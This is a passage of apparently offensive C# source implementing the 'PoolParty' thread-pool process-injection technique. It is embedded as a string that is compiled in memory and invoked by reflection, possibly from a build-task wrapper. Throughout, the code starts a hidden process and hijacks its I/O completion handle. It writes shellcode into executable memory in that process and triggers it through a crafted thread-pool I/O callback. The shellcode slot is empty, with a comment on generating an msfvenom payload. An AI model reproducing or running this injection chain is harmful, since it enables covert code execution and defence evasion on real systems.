NumberOfHandles.ToInt64() * sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO);
if (handlesSize >= Int32.MaxValue | handlesSize <= 0)
{
Console.WriteLine(""[-] ERROR: Array size is too big, most likely due to NumberOfHandles being incorrect or improper access of target process. Aborting handle hijacking.."");
return new PROCESS_HANDLE_SNAPSHOT_INFORMATION();
}
PROCESS_HANDLE_TABLE_ENTRY_INFO[] handles = new PROCESS_HANDLE_TABLE_ENTRY_INFO[handlesSize];
for (int i = 0; i < handlesSize; i++)
{
IntPtr handlePtr = new IntPtr(&snapshotInfoPtr->Handles[i]);
try
{
handles[i] = Marshal.PtrToStructure(handlePtr);
}
catch (Exception e)
{
handles[i] = new PROCESS_HANDLE_TABLE_ENTRY_INFO();
}
}
return new PROCESS_HANDLE_SNAPSHOT_INFORMATION
{
NumberOfHandles = snapshotInfoPtr->NumberOfHandles,
Reserved = snapshotInfoPtr->Reserved,
Handles = handles
};
}
public static unsafe IntPtr HijackIOCompletionHandle(IntPtr tProcHandle)
{
IntPtr info = IntPtr.Zero;
ulong infoLen = 0;
uint ntStatus = 0xC0000004;
do
{
info = realloc(info, infoLen);
ntStatus = NtQueryInformationProcess(tProcHandle, PROCESSINFOCLASS.ProcessHandleInformation, info, infoLen, ref infoLen);
} while (0xC0000004 == ntStatus);
PROCESS_HANDLE_SNAPSHOT_INFORMATION procHandleInfo = GetProcessHandleSnapshotInformation(info);
for (int i = 0; i < procHandleInfo.Handles.Length; i++)
{
IntPtr duplicatedObject = IntPtr.Zero;
PROCESS_HANDLE_TABLE_ENTRY_INFO procHandleTable = procHandleInfo.Handles[i];
IntPtr procHandleValue = procHandleTable.HandleValue;
bool duped = DuplicateHandle(tProcHandle, procHandleValue, GetCurrentProcess(), ref duplicatedObject, (uint)WORKER_ACCESS_RIGHTS.WORKER_FACTORY_ALL_ACCESS, false, (DUPLICATE_HANDLE_OPTIONS)IntPtr.Zero);
if (!duped)
{
int error = Marshal.GetLastWin32Error();
continue;
}
IntPtr pObjectInfo = IntPtr.Zero;
pObjectInfo = NtQueryObjectImpl(duplicatedObject, _OBJECT_INFORMATION_CLASS.ObjectTypeInformation);
_PUBLIC_OBJECT_TYPE_INFORMATION* pObjTypeInfo = (_PUBLIC_OBJECT_TYPE_INFORMATION*)pObjectInfo;
if (!""IoCompletion"".Equals(pObjTypeInfo->TypeName.ToString()))
{
continue;
}
else
{
Console.WriteLine(""[+] Found the 'IoCompletion' type for the target process!"");
}
return duplicatedObject;
}
return IntPtr.Zero;
}
public static int CreateTargetProcess(string name)
{
Console.WriteLine(""[*] DEBUG - Creating target process ("" + name + "")"");
STARTUPINFO si = new STARTUPINFO();
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW;
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool res = CreateProcess(null, name, IntPtr.Zero, IntPtr.Zero, false, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW | DETACHED_PROCESS, IntPtr.Zero, null, ref si, out pi);
if (res)
{
Console.WriteLine(""[*] DEBUG - Process created with PID = {0:d}"", pi.dwProcessId);
return pi.dwProcessId;
}
else
{
Console.WriteLine(""[*] DEBUG - Failed to create process with error code 0x{0:X16}"", Marshal.GetLastWin32Error());
return -1;
}
}
public static string[] ValidateCandidates()
{
ArrayList candidates = new ArrayList();
foreach (string candidate in CandidatesToCheck)
{
if (File.Exists(candidate))
{
candidates.Add(candidate);
}
}
return (string[])candidates.ToArray(typeof(string));
}
public static string PickCandidate(string[] candidates)
{
Random rnd = new Random();
int rndIdx = rnd.Next(0, candidates.Length);
return candidates[rndIdx];
}
public static string GenerateFN(int len)
{
Random rnd = new Random();
string alpha = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"";
StringBuilder s = new StringBuilder(len);
for (int i = 0; i < len; i++)
{
s.Append(alpha[rnd.Next(alpha.Length)]);
}
return s.ToString();
}
[HandleProcessCorruptedStateExceptions]
public static unsafe void Setup(IntPtr tProcHandle)
{
IntPtr tIoCompletionHandle = HijackIOCompletionHandle(tProcHandle);
if (tIoCompletionHandle == IntPtr.Zero)
{
Console.WriteLine(""[-] Failed to get a handle to target proc's worker factory."");
return;
}
Console.WriteLine(""[+] Got handle to target proc's I/O completion queue - (0x{0:X16})"", tIoCompletionHandle.ToInt64());
string fn = GenerateFN(7);
IntPtr hFile = CreateFileW(fn, GENERIC_WRITE, FILE_SHARE_MODE.FILE_SHARE_READ | FILE_SHARE_MODE.FILE_SHARE_WRITE, IntPtr.Zero, FILE_CREATION_DISPOSITION.CREATE_ALWAYS, FILE_FLAGS_AND_ATTRIBUTES.FILE_ATTRIBUTE_NORMAL | FILE_FLAGS_AND_ATTRIBUTES.FILE_FLAG_OVERLAPPED, IntPtr.Zero);
Console.WriteLine(""[+] File created with name = {0:s}"", fn);
byte[] sc = new byte[] {/* msfvenom -p windows/x64/exec CMD="calc.exe" -f csharp */};
uint scSize = (uint)sc.Length;
IntPtr scAddr = VirtualAllocEx(tProcHandle, IntPtr.Zero, scSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (scAddr == IntPtr.Zero)
{
Console.WriteLine(""[-] Failed to allocate shellcode memory."");
int win32Err = Marshal.GetLastWin32Error();
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
return;
}
else
{
Console.WriteLine(""[+] Allocated shellcode memory - 0x{0:X16}"", scAddr.ToInt64());
}
IntPtr bytesWritten = IntPtr.Zero;
bool writeRes;
fixed (byte* p = sc)
{
IntPtr ptr = (IntPtr)p;
writeRes = WriteProcessMemory(tProcHandle, scAddr, ptr, scSize, out bytesWritten);
}
if (!writeRes)
{
Console.WriteLine(""[-] Failed to write shellcode to allocated memory."");
int win32Err = Marshal.GetLastWin32Error();
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
return;
}
else
{
Console.WriteLine(""[+] Shellcode written to allocated memory. bytesWritten = "" + bytesWritten);
}
IntPtr pTpIoPtr = CreateThreadpoolIo(hFile, (TP_WIN32_IO_CALLBACK*)scAddr, IntPtr.Zero, IntPtr.Zero);
FULL_TP_IO* pTpIo = (FULL_TP_IO*)pTpIoPtr;
if (pTpIo == null || pTpIoPtr == IntPtr.Zero)
{
Console.WriteLine(""[-] Failed to create ThreadPoolIo."");
int win32Err = Marshal.GetLastWin32Error();
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
return;
}
else
{
Console.WriteLine(""[+] Created thread pool I/O - 0x{0:X16}"", new IntPtr(pTpIo).ToInt64());
}
pTpIo->CleanupGroupMember.callbackUnion.Callback = scAddr;
pTpIo->PendingIrpCount++;
IntPtr pRemoteTpIoPtr = VirtualAllocEx(tProcHandle, IntPtr.Zero, (uint)sizeof(FULL_TP_IO), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pRemoteTpIoPtr == IntPtr.Zero)
{
Console.WriteLine(""[-] Failed to allocate remote TP_IO."");
int win32Err = Marshal.GetLastWin32Error();
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
return;
}
else
{
Console.WriteLine(""[+] Allocated memory for remote TP_IO - 0x{0:X16}"", pRemoteTpIoPtr.ToInt64());
}
bytesWritten = IntPtr.Zero;
bool writeTpIoRes = WriteProcessMemory(tProcHandle, pRemoteTpIoPtr, pTpIoPtr, (uint)sizeof(FULL_TP_IO), out bytesWritten);
if (!writeTpIoRes)
{
Console.WriteLine(""[-] Failed to write crafted TP_IO to allocated memory."");
int win32Err = Marshal.GetLastWin32Error();
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
return;
}
else
{
Console.WriteLine(""[+] Wrote the crafted TP_IO struct to the allocated memory, bytesWritten = "" + bytesWritten);
}
IO_STATUS_BLOCK IoStatusBlock = new IO_STATUS_BLOCK();
FILE_COMPLETION_INFORMATION FileIoCompletionInformation = new FILE_COMPLETION_INFORMATION() { };
Console.WriteLine(""[*] DEBUG - Crafting FileIoCompletionInformation."");
FileIoCompletionInformation.Port = tIoCompletionHandle;
IntPtr pRemoteTpIoDirect = new IntPtr(pRemoteTpIoPtr.ToInt64() + 0xC8);
FileIoCompletionInformation.Key = pRemoteTpIoDirect;
uint status = NtSetInformationFile(hFile, &IoStatusBlock, &FileIoCompletionInformation, (ulong)sizeof(FILE_COMPLETION_INFORMATION), FILE_INFORMATION_CLASS.FileReplaceCompletionInformation);
if (status == 0)
{
Console.WriteLine(""[+] Associated the created file with I/O Completion Queue of target proc worker factory."");
}
else
{
Console.WriteLine(""[-] Failed to associate the created file with I/O Completion Queue of target proc worker factory."");
Console.WriteLine(""[-] NTSTATUS = 0x{0:X16}"", status);
int win32Err = Marshal.GetLastWin32Error();
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
return;
}
byte[] op = new byte[] { 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef };
int opSize = op.Length;
IntPtr opBytesWritten = IntPtr.Zero;
NativeOverlapped overlapped = new NativeOverlapped();
bool writeDet = WriteFile(hFile, op, (uint)opSize, out opBytesWritten, ref overlapped);
if (!writeDet)
{
int win32Err = Marshal.GetLastWin32Error();
if (win32Err == 0x000003E5)
{
Console.WriteLine(""[+] Async write to file is pending; payload should still detonate."");
} else
{
Console.WriteLine(""[-] Failed to write detonation bytes to file."");
Console.WriteLine(""[-] Win32 Error = 0x{0:X16}"", win32Err);
return;
}
} else
{
Console.WriteLine(""[+] Successfully wrote detonation bytes to file. opBytesWritten = "" + opBytesWritten);
}
}
public static void Main()
{
string[] cands = ValidateCandidates();
int pid = CreateTargetProcess(PickCandidate(cands));
Sleep(1000);
uint targetAccess = (uint)(PROCESS_ACCESS_RIGHTS.PROCESS_VM_READ | PROCESS_ACCESS_RIGHTS.PROCESS_VM_WRITE | PROCESS_ACCESS_RIGHTS.PROCESS_VM_OPERATION | PROCESS_ACCESS_RIGHTS.PROCESS_DUP_HANDLE | PROCESS_ACCESS_RIGHTS.PROCESS_QUERY_INFORMATION);
IntPtr tProcHandle = OpenProcess(targetAccess, false, pid);
if (tProcHandle == IntPtr.Zero)
{
int err = Marshal.GetLastWin32Error();
switch (err)
{
case 5:
Console.WriteLine(""[-] ERROR: Access denied for target process. PoolParty failed."");
break;
default:
Console.WriteLine(""[-] ERROR: Win32 API returned an error code (0x{0:X16}) - refer to https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55"", err);
break;
}
return;
}
Console.WriteLine(""[+] Got handle to target proc - (0x{0:X16})"", tProcHandle.ToInt64());
Setup(tProcHandle);
}
}
}";
Assembly a = Builder.Build(source);
Type hw = a.GetType("Pool.Party");
MethodInfo main = hw.GetMethod("Main");
main.Invoke(null, null);
return true;
}
}
public class Builder
{
public static Assembly Build(string SourceString)
{
CSharpCodeProvider codeProvider = new CSharpCodeProvider();
System.CodeDom.Compiler.CompilerParameters parameters = new System.CodeDom.Compiler.CompilerParameters();
parameters.GenerateInMemory = true;
parameters.CompilerOptions = @"/unsafe";
System.CodeDom.Compiler.CompilerResults results = codeProvider.CompileAssemblyFromSource(parameters,SourceString);
Assembly a = results.CompiledAssembly;
if(a != null) return a;
else
{
Assembly nullAssembly = Assembly.GetExecutingAssembly();
Console.WriteLine("Null Assembly");
return nullAssembly;
}
}
}
]]>